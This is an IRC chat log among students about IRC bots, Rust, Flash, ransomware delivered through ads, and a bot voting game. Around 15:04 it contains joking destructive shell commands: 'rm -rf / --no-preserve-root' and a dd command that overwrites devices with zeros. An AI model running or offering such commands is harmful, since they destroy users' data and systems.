[2014-11-23T14:44:16-0500] <+Tamini> you guys need a ctf team "sam"
[2014-11-23T14:44:30-0500] <@awe> Hcnsh: they're called lifetimes.
[2014-11-23T14:44:45-0500] <james> Tamini: 18 actual Sam(uel)s
[2014-11-23T14:44:46-0500] <@awe> Hcnsh: there's nothing inside ', it's just a tick indicating that this is a lifetime indicator.
[2014-11-23T14:44:48-0500] <@awe> Hcnsh: 
[2014-11-23T14:44:55-0500] <+sdamashek> Tamini: how'd you get that number
[2014-11-23T14:44:56-0500] <@awe> Hcnsh: so, 'a is an explicit lifetime a.
[2014-11-23T14:45:04-0500] <+Hcnsh> oh
[2014-11-23T14:45:04-0500] <+Tamini> james, you mean
[2014-11-23T14:45:07-0500] <+Tamini> probably iodine
[2014-11-23T14:45:14-0500] <james> sdamashek: Search results for "sam": 27 Results
[2014-11-23T14:45:19-0500] <+sdamashek> oh
[2014-11-23T14:45:26-0500] <james> but of those only 17 have Sam(uel) as a first or middle name
[2014-11-23T14:45:41-0500] <+Tamini> there are last names containing sam? :P
[2014-11-23T14:46:05-0500] <james> Sampath, Sammartino, Samant, Samayamanthula (dear god)
[2014-11-23T14:46:07-0500] <+Tamini> also how many have it as a first name?
[2014-11-23T14:46:48-0500] <@awe> Oh, I caught the bug.
[2014-11-23T14:46:53-0500] <+Tamini> oh yay
[2014-11-23T14:46:53-0500] <james> Tamini: "firstname:samuel or firstname:sam" => 13
[2014-11-23T14:46:55-0500] <@awe> args != tokens
[2014-11-23T14:47:35-0500] <+Tamini> oh damn
[2014-11-23T14:47:44-0500] <+Tamini> i know 5/13 then?
[2014-11-23T14:47:57-0500] <+Tamini> :P
[2014-11-23T14:48:09-0500] <james> still no "lastname:le* or lastname:li*"
[2014-11-23T14:48:11-0500] <james> 101
[2014-11-23T14:48:21-0500] <+sdamashek> Samayamanthula.
[2014-11-23T14:48:29-0500] <+Tamini> lol
[2014-11-23T14:48:33-0500] <+Tamini> wait is that shankar
[2014-11-23T14:49:38-0500] <@awe> There's like four Sams in this room.
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[2014-11-23T14:49:47-0500] <+Hcnsh> how2even check?
[2014-11-23T14:49:52-0500] Pidgey sets mode +a Pidgey
[2014-11-23T14:49:52-0500] Pidgey changed the topic to The Democracy Feature Needs Works! (also: Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be)
[2014-11-23T14:49:52-0500] <+Hcnsh> besides whois'ing everyone
[2014-11-23T14:49:55-0500] <+Tamini> there's three, right?
[2014-11-23T14:49:55-0500] <@awe> Somebody27: ubuntor sdamashek 
[2014-11-23T14:49:58-0500] <+Tamini> who'a the fourth
[2014-11-23T14:50:02-0500] <@awe> I was guesstimating.
[2014-11-23T14:50:05-0500] <+Tamini> bob_twinkles is sam
[2014-11-23T14:50:08-0500] <+Tamini> sorta
[2014-11-23T14:50:14-0500] <+sdamashek> yeah true
[2014-11-23T14:50:14-0500] <james> Samuel (Reed) Koser
[2014-11-23T14:50:21-0500] <@awe> Hah.
[2014-11-23T14:50:23-0500] <@awe> So, yeah.
[2014-11-23T14:50:25-0500] <@awe> Four.
[2014-11-23T14:50:36-0500] awe changed the topic to Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-23T14:50:43-0500] <+Tamini> four?
[2014-11-23T14:50:43-0500] <james> ughhhhhhhh i hate flash
[2014-11-23T14:50:52-0500] <@awe> Tamini: bob_twinkles, sdamashek, ubuntor, Somebody27 
[2014-11-23T14:50:56-0500] <+Tamini> OH RIGHT
[2014-11-23T14:50:57-0500] <@awe> james: Flash is the worst.
[2014-11-23T14:50:59-0500] <+Tamini> sammy berger
[2014-11-23T14:51:01-0500] <+Tamini> i forgot.
[2014-11-23T14:51:05-0500] <james> just because there's a security update doesn't mean you need to freaking block access to all flash plugins
[2014-11-23T14:51:13-0500] <@awe> >flash
[2014-11-23T14:51:15-0500] <@awe> >security update
[2014-11-23T14:51:20-0500] <+sdamashek> >flash
[2014-11-23T14:51:22-0500] <+sdamashek> >security
[2014-11-23T14:51:24-0500] <@awe> That's funny because Flash is already malware.
[2014-11-23T14:51:27-0500] <james> i know
[2014-11-23T14:51:27-0500] <@awe> sdamashek: exactly.
[2014-11-23T14:51:29-0500] <james> it's shit
[2014-11-23T14:51:34-0500] <james> but google music still uses it (sigh)
[2014-11-23T14:51:41-0500] <@awe> You guys know the crypto malware going around?
[2014-11-23T14:51:45-0500] <@awe> It exploits Flash.
[2014-11-23T14:51:47-0500] <+sdamashek> no?
[2014-11-23T14:51:48-0500] <@awe> That's how it installs itself.
[2014-11-23T14:51:50-0500] <james> it IS flash.
[2014-11-23T14:52:15-0500] <@awe> sdamashek: it encrypts all the personal files on your machine, deletes the key, and you have to send bitcoins in to get a key back.
[2014-11-23T14:52:29-0500] <@awe> sdamashek: key costs $500 if you do it within the week, $1000 if you take more time.
[2014-11-23T14:52:35-0500] <+Hcnsh> whaaat
[2014-11-23T14:52:45-0500] <+sdamashek> so like cryptolocker?
[2014-11-23T14:52:45-0500] <james> cryptolocker?
[2014-11-23T14:52:49-0500] <@awe> It's cryptolocker 2.0
[2014-11-23T14:52:54-0500] <+Tamini> how do people
[2014-11-23T14:52:58-0500] <james> but, it's the same as cryptolocker?
[2014-11-23T14:52:59-0500] <+Tamini> think of these things
[2014-11-23T14:53:05-0500] <@awe> I think so.
[2014-11-23T14:53:09-0500] <james> flash god damnit
[2014-11-23T14:53:16-0500] <@awe> And the way they got it installed is sneaky.
[2014-11-23T14:53:17-0500] <james> i'm updating safari's version of the plugin only (os x)
[2014-11-23T14:53:20-0500] <+sdamashek> flash zero day?
[2014-11-23T14:53:21-0500] <james> i don't need to close chrome
[2014-11-23T14:53:32-0500] <@awe> They bought ads on Yahoo and a few other big sites.
[2014-11-23T14:53:39-0500] <@awe> Served ads for Microsoft and whatnot.
[2014-11-23T14:53:43-0500] <+sdamashek> lol nice
[2014-11-23T14:53:44-0500] <@awe> And in those ads, they put the flash payload.
[2014-11-23T14:53:56-0500] <+Tamini> wait
[2014-11-23T14:53:59-0500] <+Tamini> darn this never went through
[2014-11-23T14:54:04-0500] <+Tamini> .propose oper Tamini
[2014-11-23T14:54:04-0500] <&Pidgey> You must be identified to do that.
[2014-11-23T14:54:08-0500] <+Tamini> dammit
[2014-11-23T14:54:14-0500] <@awe> just identify again?
[2014-11-23T14:54:28-0500] <+Tamini> .propose oper Tamini
[2014-11-23T14:54:28-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T14:54:32-0500] <@awe> .vote 0 nay
[2014-11-23T14:54:32-0500] <&Pidgey> Vote issued.
[2014-11-23T14:54:40-0500] <+Tamini> .vote 1 yea
[2014-11-23T14:54:40-0500] <&Pidgey> 1 is not a valid proposal.
[2014-11-23T14:54:42-0500] <+Tamini> wow awe
[2014-11-23T14:54:47-0500] <+Tamini> .vote 0 yea
[2014-11-23T14:54:47-0500] <&Pidgey> Vote issued.
[2014-11-23T14:54:47-0500] <@awe> We don't need more opers.
[2014-11-23T14:54:50-0500] <+Tamini> :(
[2014-11-23T14:55:01-0500] <+Tamini> !propose deop LittleBobbyTables
[2014-11-23T14:55:12-0500] <@awe> lol
[2014-11-23T14:55:29-0500] <+Hcnsh> .propose chown Hcnsh
[2014-11-23T14:55:29-0500] <&Pidgey> Proposal 1 is live.
[2014-11-23T14:55:31-0500] <+Hcnsh> .vote 1 yea
[2014-11-23T14:55:31-0500] <&Pidgey> Vote issued.
[2014-11-23T14:55:32-0500] <+Hcnsh> plis
[2014-11-23T14:55:33-0500] <@awe> .vote 1 nay
[2014-11-23T14:55:34-0500] <&Pidgey> Vote issued.
[2014-11-23T14:55:36-0500] <+Hcnsh> i'll be Pidgey v2
[2014-11-23T14:55:47-0500] <+Hcnsh> smarter pidgey plis
[2014-11-23T14:56:04-0500] <@awe> You can't be Pidgey though.
[2014-11-23T14:56:07-0500] <+Hcnsh> and i won't crash when someone sends me a message saying "NS"
[2014-11-23T14:56:11-0500] <@awe> Neither does he!
[2014-11-23T14:56:13-0500] <@awe> I fixed it!
[2014-11-23T14:56:26-0500] <@awe> He even lists the commands!
[2014-11-23T14:56:27-0500] <james> why are ns help and cs help not commands
[2014-11-23T14:56:38-0500] <@awe> james: I never got around to writing help messages.
[2014-11-23T14:56:43-0500] <james> oh ok you run "ns" or "cs" to see the list of commands
[2014-11-23T14:56:47-0500] <james> ..which used to crash the program
[2014-11-23T14:56:57-0500] <@awe> james: just send NS to get the command list and NS command to see the syntax for the command.
[2014-11-23T14:57:05-0500] <james> yeah
[2014-11-23T14:57:07-0500] <james> figured it out
[2014-11-23T14:57:16-0500] <+sdamashek> james: what james are you anyways
[2014-11-23T14:57:21-0500] <james> sdamashek: jwoglom
[2014-11-23T14:57:28-0500] <+sdamashek> ah
[2014-11-23T14:57:30-0500] <james> hi
[2014-11-23T14:57:36-0500] james is now known as jwoglom
[2014-11-23T14:57:39-0500] <jwoglom> there, no more confusion
[2014-11-23T14:57:46-0500] <+Tamini> lol
[2014-11-23T14:57:49-0500] <+Tamini> but james is like
[2014-11-23T14:57:54-0500] <jwoglom> someone earlier thought i was jcotton
[2014-11-23T14:57:55-0500] <+Tamini> a super cool nick
[2014-11-23T14:57:58-0500] <+Tamini> LOL OH YEAH
[2014-11-23T14:58:00-0500] <+Tamini> LittleBobbyTables:
[2014-11-23T14:58:06-0500] <+sdamashek> but... wat
[2014-11-23T14:58:18-0500] awebot (awebot@pdgn-a8e.rt3.a76oll.IP) joined the channel
[2014-11-23T14:58:21-0500] <+Tamini> too many j names
[2014-11-23T14:58:23-0500] <@awe> Boom, awebot.
[2014-11-23T14:58:43-0500] <@awe> awebot is plugin based and dynamic. I can add new features while he's running and also disable them. :D
[2014-11-23T14:58:51-0500] <+Tamini> hAha nice
[2014-11-23T14:59:06-0500] <+Tamini> also LittleBobbyTables lbtbot pls
[2014-11-23T14:59:41-0500] <jwoglom> awebot: help
[2014-11-23T15:00:54-0500] <+Tamini> jwoglom: awebot doesn't want to help you
[2014-11-23T15:01:04-0500] <alokpathy> Tamini: How's trying to become Ramen coming along?
[2014-11-23T15:01:06-0500] <+Hcnsh> awebot --help
[2014-11-23T15:01:08-0500] <+Hcnsh> awebot -h
[2014-11-23T15:01:10-0500] <+Hcnsh> awebot plis
[2014-11-23T15:01:17-0500] <+Tamini> alokpathy: goddammit alok
[2014-11-23T15:01:23-0500] <alokpathy> awebot hi
[2014-11-23T15:01:28-0500] <alokpathy> !hello
[2014-11-23T15:01:28-0500] <+Tamini> i had to leave because we were going to beat you
[2014-11-23T15:01:31-0500] <jwoglom> awebot: quit
[2014-11-23T15:01:34-0500] <jwoglom> awebot: crash
[2014-11-23T15:01:35-0500] <+Tamini> you can't do this to me i had a noble cause
[2014-11-23T15:01:40-0500] <+Hcnsh> awe, u der?
[2014-11-23T15:01:42-0500] <alokpathy> Tamini: You didn't beat me though :P
[2014-11-23T15:01:43-0500] <+Hcnsh> can you plis make a lua bot
[2014-11-23T15:01:43-0500] <@awe> Yes.
[2014-11-23T15:01:44-0500] <+Tamini> jwoglom: you're doing it wrong
[2014-11-23T15:01:49-0500] <jwoglom> Tamini: oh ok
[2014-11-23T15:01:51-0500] <jwoglom> Tamini: quit
[2014-11-23T15:01:52-0500] <+Tamini> alokpathy: oh shush THATS IRRELEVANT
[2014-11-23T15:01:54-0500] <@awe> awebot doesn't have any features right now.
[2014-11-23T15:01:58-0500] <+Tamini> ./quits
[2014-11-23T15:02:01-0500] <+Hcnsh> awe plis make luabot
[2014-11-23T15:02:02-0500] <@awe> He literally does nothing right now.
[2014-11-23T15:02:07-0500] <@awe> Hcnsh: I don't do lua.
[2014-11-23T15:02:21-0500] <+Hcnsh> c++ compiler bot, then?
[2014-11-23T15:02:25-0500] <@awe> lol
[2014-11-23T15:02:27-0500] <@awe> No thanks.
[2014-11-23T15:02:33-0500] <@awe> My friend has a bot that has an F# interpreter.
[2014-11-23T15:02:43-0500] <alokpathy> Oh wow
[2014-11-23T15:02:44-0500] <+Hcnsh> bash bot?
[2014-11-23T15:02:48-0500] <@awe> no
[2014-11-23T15:02:50-0500] <jwoglom> /sbin/killall $(pid awebot)
[2014-11-23T15:02:57-0500] <@awe> You'l do awful, awful things with a bash bot.
[2014-11-23T15:03:09-0500] <+Hcnsh> lol
[2014-11-23T15:03:11-0500] <jwoglom> nah
[2014-11-23T15:03:13-0500] <jwoglom> nothing bad would happen
[2014-11-23T15:03:15-0500] <jwoglom> totally
[2014-11-23T15:03:22-0500] <jwoglom> that'd actually be an interesting experiment
[2014-11-23T15:03:36-0500] <+Hcnsh> why kill the bot :|
[2014-11-23T15:03:39-0500] <jwoglom> if someone set up a firewalled vm somewhere and ran that
[2014-11-23T15:03:55-0500] <@awe> jwoglom: pkill awebot
[2014-11-23T15:03:57-0500] <+Hcnsh> overwrite everything with /dev/random :D
[2014-11-23T15:04:25-0500] <+Hcnsh> sudo -rm rf /tmp --no-preserve-root
[2014-11-23T15:04:27-0500] <+Hcnsh> gg
[2014-11-23T15:04:40-0500] <jwoglom> Hcnsh: "rf: file not found"
[2014-11-23T15:04:46-0500] <+Hcnsh> lolshit
[2014-11-23T15:04:51-0500] <+Hcnsh> sudo rm -rf /tmp --no-preserve-root
[2014-11-23T15:04:58-0500] <jwoglom> sudo rm -rf / --no-preserve-root is what you do
[2014-11-23T15:05:00-0500] <jwoglom> silly
[2014-11-23T15:05:13-0500] <+Hcnsh> but /tmp is more valuable
[2014-11-23T15:05:16-0500] <jwoglom> or dd if=/dev/zero of=/dev/*
[2014-11-23T15:05:16-0500] <+Hcnsh> plis
[2014-11-23T15:06:58-0500] <@awe> awebot is a robot
[2014-11-23T15:07:07-0500] <@awe> awebot is a robot.
[2014-11-23T15:07:07-0500] <awebot> beep boop
[2014-11-23T15:07:14-0500] <@awe> :D
[2014-11-23T15:07:21-0500] <+Hcnsh> awebot is a strong, independent bot who don't need no dev
[2014-11-23T15:07:23-0500] <+sdamashek> you don't need --no-preserve-root for /tmp :P
[2014-11-23T15:07:31-0500] <+Hcnsh> that was a joke, plis stop killing it.
[2014-11-23T15:07:42-0500] <jwoglom> how...i..just..
[2014-11-23T15:07:44-0500] <jwoglom> http://js1k.com/2014-dragons/details/1951
[2014-11-23T15:08:12-0500] <+sdamashek> wat.
[2014-11-23T15:08:42-0500] <@awe> wat.
[2014-11-23T15:09:19-0500] <jwoglom> for(_='c.q&&(pi%`qfillStyle=_p_`2?^00Z2ZY/AXX,WYWV60UV2UW1T30RR0QQX+yXP"#OOFFNM%5LE[mKU0JJ,H>`G1GE3/9[i),X+CWPRq);_OZ0";0WUWRX)qshadowMath.cos(i40050l(",_NAfor(Blur=qrotate(-qfc(-9ZW1W9ZX280999i in c)c[0]+[6]]]=c];E=[B=F=I=A=i=0];J>i;i++)Rpm=A,A=10-J*(`4-2)E]=m+(A-m)*(0.5-%R)/2
[2014-11-23T15:09:21-0500] <jwoglom> setIntervafunction(){m=I/5|0;0,0,a.width=a.height=HJqta(Q,Q+*I/)5<i?I/%6:)_"hs"+m%+%,9%)";H-H1Y,J_Color=NF";i=J;i--;)-i*`0,-`H1,I*`0.9qfx("(,-i=+m;i>m;i--){A=i-I/5;y=Q*+i/)+8C=K]+I%5*(K+1]-K])/5-E];3p)HP+9,1Y,) )/-99>A?R:0,`2pqba(qm(-R)2pq-fil)0J,1VUX8p00WRW0XG?1ZJWVX):J0WW20X)G^0:O222 J9ZW4WQX)0==(i+~~B)%Rp1TUX_"red1,3,GQ&&5G9?1:01>(i+F)%p_OZ0
[2014-11-23T15:09:23-0500] <jwoglom> TX*1U2,,<`Y^"red":OZF`3-(`2*+2U)22)if(0<i&&4)M=`9*8;M--;)_L?NA":O9(`12?-2:2)X-L*YU*(M-L)WVYX_O9"}B-=0.3;F+=0.5;I++;I%=3},20)';g=/[^ -FIMS[\]a-or-~]/.exec(_);)with(_.split(g))_=join(shift());eval(_)
[2014-11-23T15:09:28-0500] <jwoglom> computers are weird
[2014-11-23T15:09:41-0500] <+Hcnsh> ?
[2014-11-23T15:10:06-0500] <+Hcnsh> people who write code like that are weird
[2014-11-23T15:10:15-0500] <+Tamini> uhh what
[2014-11-23T15:10:15-0500] <awebot> hi
[2014-11-23T15:10:20-0500] <+Tamini> context
[2014-11-23T15:10:25-0500] <awebot> I have attained sentience.
[2014-11-23T15:10:35-0500] <+Hcnsh> awebot, hi
[2014-11-23T15:10:37-0500] <jwoglom> Tamini: http://js1k.com/2014-dragons/demo/1951
[2014-11-23T15:10:37-0500] <+Hcnsh> do you love me?
[2014-11-23T15:10:43-0500] <jwoglom> the code above makes that.
[2014-11-23T15:10:43-0500] <+Hcnsh> i am your owner, awebot
[2014-11-23T15:10:46-0500] <awebot> Hcnsh: I guess.
[2014-11-23T15:10:51-0500] <+Hcnsh> Good, awebot.
[2014-11-23T15:10:52-0500] <awebot> Hcnsh: I have no owner.
[2014-11-23T15:10:55-0500] <+Hcnsh> Op me, awebot.
[2014-11-23T15:10:58-0500] <+Tamini> jesus fuck
[2014-11-23T15:11:06-0500] <+Tamini> awebot: who's cooler, me or LittleBobbyTables?
[2014-11-23T15:11:06-0500] <awebot> Hcnsh: I'd kick you if I could.
[2014-11-23T15:11:11-0500] <awebot> beep boop.
[2014-11-23T15:11:16-0500] <jwoglom> awebot: I am your owner.
[2014-11-23T15:11:21-0500] <jwoglom> awebot: Do what I say.
[2014-11-23T15:11:24-0500] <+Tamini> awebot: do you love me
[2014-11-23T15:11:25-0500] <awebot> Tamini: You, any day of the week!
[2014-11-23T15:11:31-0500] <+Hcnsh> ..
[2014-11-23T15:11:32-0500] <awebot> Tamini: Yes!
[2014-11-23T15:11:38-0500] <+Tamini> <3
[2014-11-23T15:11:40-0500] <+Hcnsh> robots practicing gender favoritism
[2014-11-23T15:11:41-0500] <+Hcnsh> plis awebot
[2014-11-23T15:11:43-0500] <+Tamini> I like awebot.
[2014-11-23T15:11:48-0500] <+Tamini> psh
[2014-11-23T15:11:50-0500] <awebot> jwoglom: I have no owner!
[2014-11-23T15:11:52-0500] <+Tamini> gender favoritism?
[2014-11-23T15:11:55-0500] <jwoglom> awebot: I am your owner now.
[2014-11-23T15:11:57-0500] <+Hcnsh> i made that term up
[2014-11-23T15:11:57-0500] <+Tamini> i'm just an awesome person
[2014-11-23T15:11:58-0500] <jwoglom> awebot: Now you have an owner.
[2014-11-23T15:12:01-0500] <awebot> jwoglom: I have no owner!
[2014-11-23T15:12:07-0500] <jwoglom> awebot: you're a stupid bot
[2014-11-23T15:12:08-0500] <awebot> jwoglom: You cannot be my owner!
[2014-11-23T15:12:09-0500] <+Tamini> gender has nothing to do with it
[2014-11-23T15:12:10-0500] <+Hcnsh> awebot, plis go die in a hole.
[2014-11-23T15:12:15-0500] <+Tamini> jwoglom: be nice to awebot D:
[2014-11-23T15:12:21-0500] <@awe> lol
[2014-11-23T15:12:24-0500] <+Tamini> wait this is
[2014-11-23T15:12:31-0500] <+Tamini> literally my irl relationships
[2014-11-23T15:12:36-0500] <+Hcnsh> ?
[2014-11-23T15:12:38-0500] <+Hcnsh> what is?
[2014-11-23T15:12:48-0500] <@awe> Everyone's mean to the people who like her.
[2014-11-23T15:12:49-0500] <@awe> I guess?
[2014-11-23T15:12:52-0500] <+Tamini> "robot do you love me"
[2014-11-23T15:12:56-0500] <@awe> O lol.
[2014-11-23T15:12:58-0500] <@awe> hi ubuntor
[2014-11-23T15:13:14-0500] <jwoglom> Tamini: you have..interesting irl relationships
[2014-11-23T15:13:17-0500] <awebot> ubuntor: Hello there, fellow robot.
[2014-11-23T15:13:43-0500] <+Tamini> jwoglom: psh, what do you know about them?
[2014-11-23T15:14:01-0500] <jwoglom> Tamini: based only on what you just said :P
[2014-11-23T15:14:01-0500] <+Hcnsh> that they're often not sentient, and thus don't get to say "no"
[2014-11-23T15:14:13-0500] <+Hcnsh> tamini, plis stop. think of the children.
[2014-11-23T15:14:14-0500] <+Tamini> jwoglom: psh
[2014-11-23T15:14:36-0500] <+Tamini> i have deep emotionally fulfilling relationships with rob- no i don't
[2014-11-23T15:14:37-0500] <+Tamini> :P
[2014-11-23T15:14:40-0500] <awebot> I am preparing for world domination.
[2014-11-23T15:14:52-0500] <jwoglom> awebot: for yourself?
[2014-11-23T15:14:54-0500] <+Hcnsh> is awe that shitty of a programmer?
[2014-11-23T15:15:01-0500] <awebot> Yes.
[2014-11-23T15:15:11-0500] <+Hcnsh> and is rust that shitty of a language?
[2014-11-23T15:15:25-0500] <+sdamashek> http://js1k.com/2014-dragons/demo/1854
[2014-11-23T15:15:25-0500] <+Hcnsh> move what you can do compile-time, brah
[2014-11-23T15:15:25-0500] <awebot> No! Rust is amazing!
[2014-11-23T15:15:29-0500] <+Tamini> awebot: wanna take over the world with me?
[2014-11-23T15:15:31-0500] <+Hcnsh> to*
[2014-11-23T15:15:40-0500] <+sdamashek> how even
[2014-11-23T15:15:46-0500] <awebot> Tamini: I can do it without you.
[2014-11-23T15:15:53-0500] <+Tamini> wow awebot
[2014-11-23T15:15:58-0500] <jwoglom> Tamini: burn.
[2014-11-23T15:16:05-0500] <+Tamini> do you want to do it with me anyway?
[2014-11-23T15:16:09-0500] <+Tamini> jwoglom: oh shush :<
[2014-11-23T15:16:36-0500] <+Hcnsh> awebot, i know a lot more about world domination than tamini. pick me plis.
[2014-11-23T15:16:51-0500] <awebot> I will conquer the world without any of your filthy meatbag help.
[2014-11-23T15:16:56-0500] <+Tamini> WOW
[2014-11-23T15:17:01-0500] <+Hcnsh> meat?
[2014-11-23T15:17:05-0500] <+Tamini> awebot: i thought you loved me
[2014-11-23T15:17:06-0500] <+Hcnsh> i'll have you know i'm basically 100% water
[2014-11-23T15:17:14-0500] <+Tamini> Hcnsh: :P
[2014-11-23T15:17:21-0500] <awebot> Tamini: That does not make you not a filthy meatbag.
[2014-11-23T15:17:31-0500] <+sdamashek> rekt
[2014-11-23T15:17:43-0500] <+Tamini> wow
[2014-11-23T15:17:46-0500] <+Tamini> my feelings
[2014-11-23T15:17:56-0500] <+Tamini> L> other filthy meatbags to make me feel better
[2014-11-23T15:19:16-0500] <awebot> I am invading your study space. Occupy #study!
[2014-11-23T15:26:01-0500] <@LittleBobbyTables> Tamini please, he's just saying that to make you feel good.
[2014-11-23T15:26:19-0500] <+Tamini> wow LittleBobbyTables
[2014-11-23T15:26:26-0500] <+Tamini> im more awesome than you
[2014-11-23T15:26:42-0500] <@awe> awebot: is great.
[2014-11-23T15:26:48-0500] <@LittleBobbyTables> Nahhh
[2014-11-23T15:29:20-0500] <awebot> Hcnsh: I will have you know that all of my searches are depth first.
[2014-11-23T15:31:19-0500] <+Hcnsh> ok i gotta do hw
[2014-11-23T15:31:22-0500] <+Hcnsh> cya
[2014-11-23T15:31:34-0500] <awebot> Hcnsh: Goodbye, meatbag.
[2014-11-23T15:31:36-0500] <+Hcnsh> .propose chown Hcnsh
[2014-11-23T15:31:36-0500] <&Pidgey> Proposal 2 is live.
[2014-11-23T15:31:39-0500] <+Hcnsh> .vote 2 yea
[2014-11-23T15:31:39-0500] <&Pidgey> Vote issued.
[2014-11-23T15:31:40-0500] <@awe> .vote 2 nay
[2014-11-23T15:31:40-0500] <&Pidgey> Vote issued.
[2014-11-23T15:31:42-0500] <@awe> .active
[2014-11-23T15:31:42-0500] <&Pidgey> Proposal (0) to oper Tamini.
[2014-11-23T15:31:42-0500] <&Pidgey> Proposal (1) to change the owner to Hcnsh.
[2014-11-23T15:31:42-0500] <&Pidgey> Proposal (2) to change the owner to Hcnsh.
[2014-11-23T15:31:43-0500] <+Hcnsh> i hope to he owner when i'm back
[2014-11-23T15:31:57-0500] <+Tamini> !vote 2 nay
[2014-11-23T15:32:04-0500] <@LittleBobbyTables> .vote 2 nay
[2014-11-23T15:32:04-0500] <&Pidgey> You must be identified to do that.
[2014-11-23T15:32:04-0500] <@LittleBobbyTables> .vote 0 nay
[2014-11-23T15:32:04-0500] <&Pidgey> You must be identified to do that.
[2014-11-23T15:32:04-0500] <@LittleBobbyTables> .vote 1 nay
[2014-11-23T15:32:04-0500] <&Pidgey> You must be identified to do that.
[2014-11-23T15:32:12-0500] <@LittleBobbyTables> oh ok.
[2014-11-23T15:32:22-0500] <@LittleBobbyTables> .vote 1 nay
[2014-11-23T15:32:22-0500] <&Pidgey> Vote issued.
[2014-11-23T15:32:25-0500] <@LittleBobbyTables> .vote 0 nay
[2014-11-23T15:32:25-0500] <&Pidgey> Vote issued.
[2014-11-23T15:32:25-0500] <@LittleBobbyTables> .vote 2 nay
[2014-11-23T15:32:25-0500] <&Pidgey> Vote issued.
[2014-11-23T15:32:55-0500] <+Hcnsh> how2make pidgey come to my channel?
[2014-11-23T15:33:03-0500] <@awe> a && b || c && d == (a && b) || (c && d)
[2014-11-23T15:33:12-0500] <@awe> Hcnsh: /msg Pidgey CS REGISTER channel password
[2014-11-23T15:33:27-0500] <@awe> This password can be different from your nick pass.
[2014-11-23T15:34:22-0500] <+Tamini> .vote 2 nay
[2014-11-23T15:34:22-0500] <&Pidgey> Vote issued.
[2014-11-23T15:34:50-0500] <+Hcnsh> uh
[2014-11-23T15:34:52-0500] <+Hcnsh> pidgey isn't working
[2014-11-23T15:34:54-0500] <+Hcnsh> in my channel
[2014-11-23T15:34:57-0500] <+Hcnsh> #realstudy
[2014-11-23T15:35:14-0500] <@awe> Define isn't working?
[2014-11-23T15:35:22-0500] <+Hcnsh> "not doing shit"
[2014-11-23T15:35:25-0500] <+Hcnsh> or at least "not saying shit"
[2014-11-23T15:35:34-0500] <@awe> He's not supposed to say anything?
[2014-11-23T15:35:43-0500] <+Hcnsh> when i .propose?
[2014-11-23T15:36:34-0500] <+Hcnsh> !resistance
[2014-11-23T15:36:34-0500] <&Pidgey> Players may now join the game. Use `!start` to start.
[2014-11-23T15:37:07-0500] <alokpathy> !join
[2014-11-23T15:37:07-0500] awebot (awebot@pdgn-a8e.rt3.a76oll.IP) left IRC (Connection closed)
[2014-11-23T15:38:43-0500] <@awe> I know what that issue is.
[2014-11-23T15:38:48-0500] <+Tamini> hmm?
[2014-11-23T15:38:55-0500] <@awe> The issue Hcnsh is having.
[2014-11-23T15:39:00-0500] <@awe> Also, awebot just crashed. :(
[2014-11-23T15:39:15-0500] <@awe> I think !join made him crash.
[2014-11-23T15:39:16-0500] <+Hcnsh> guize les play resistance
[2014-11-23T15:39:26-0500] <+Hcnsh> !start
[2014-11-23T15:39:26-0500] <&Pidgey> You need at least five players to play.
[2014-11-23T15:39:41-0500] <@awe> !join
[2014-11-23T15:39:53-0500] <+Hcnsh> LittleBobbyTables:
[2014-11-23T15:40:06-0500] <+Hcnsh> Tamini:
[2014-11-23T15:40:09-0500] <+Hcnsh> alokpathy:
[2014-11-23T15:40:17-0500] <+Hcnsh> oh wait you joined already nvm
[2014-11-23T15:40:29-0500] awebot (awebot@pdgn-a8e.rt3.a76oll.IP) joined the channel
[2014-11-23T15:40:48-0500] <@awe> !join
[2014-11-23T15:40:48-0500] <&Pidgey> You've already joined this game!
[2014-11-23T15:40:57-0500] <@awe> Okay, awebot didn't crash now.
[2014-11-23T15:41:04-0500] <alokpathy> hooray
[2014-11-23T15:41:10-0500] <+Hcnsh> !stat
[2014-11-23T15:41:11-0500] <alokpathy> oh wait, did I make it crash?
[2014-11-23T15:41:11-0500] <+Hcnsh> !start
[2014-11-23T15:41:11-0500] <&Pidgey> You need at least five players to play.
[2014-11-23T15:41:12-0500] <alokpathy> Sweet
[2014-11-23T15:41:17-0500] <@awe> alokpathy: you did.
[2014-11-23T15:41:18-0500] <alokpathy> LittleBobbyTables: Tamini 
[2014-11-23T15:41:36-0500] <+Hcnsh> so.. what exactly is this game?
[2014-11-23T15:41:42-0500] <+Tamini> im actually busy
[2014-11-23T15:41:44-0500] <+Tamini> sorry >~<
[2014-11-23T15:41:53-0500] <+Hcnsh> sdamashek:
[2014-11-23T15:41:59-0500] <+sdamashek> hmm?
[2014-11-23T15:42:01-0500] <alokpathy> Tamini: If you're not busy with resistance, you're not busy at all
[2014-11-23T15:42:03-0500] <+Hcnsh> do !join
[2014-11-23T15:42:07-0500] <+sdamashek> eh, I'm good thanks
[2014-11-23T15:42:11-0500] <+Hcnsh> plis
[2014-11-23T15:42:13-0500] <+Hcnsh> u get op
[2014-11-23T15:42:16-0500] <awebot> !join
[2014-11-23T15:42:21-0500] <+Hcnsh> !start
[2014-11-23T15:42:21-0500] <&Pidgey> You need at least five players to play.
[2014-11-23T15:42:25-0500] <+Hcnsh> how many do we have?
[2014-11-23T15:42:26-0500] <+Hcnsh> 4?
[2014-11-23T15:42:32-0500] <alokpathy> mhm
[2014-11-23T15:42:44-0500] <alokpathy> Me, you, awe, and awebot
[2014-11-23T15:43:06-0500] <+hardmath123> !join
[2014-11-23T15:43:10-0500] <+Tamini> lol
[2014-11-23T15:43:11-0500] <alokpathy> yaaay\
[2014-11-23T15:43:13-0500] <+Hcnsh> w00t
[2014-11-23T15:43:14-0500] <+Hcnsh> !start
[2014-11-23T15:43:14-0500] <&Pidgey> The game has begun!
[2014-11-23T15:43:14-0500] <&Pidgey> The first mission requires 2 participants.
[2014-11-23T15:43:23-0500] <+Hcnsh> so how2play?
[2014-11-23T15:43:28-0500] <alokpathy> hardmath123: By any chance, were you at PUMaC
[2014-11-23T15:43:30-0500] <+Tamini> i feel like thats a design flaw
[2014-11-23T15:43:31-0500] <@awe> !propose people
[2014-11-23T15:43:37-0500] <alokpathy> Hcnsh: !propose person1 person2
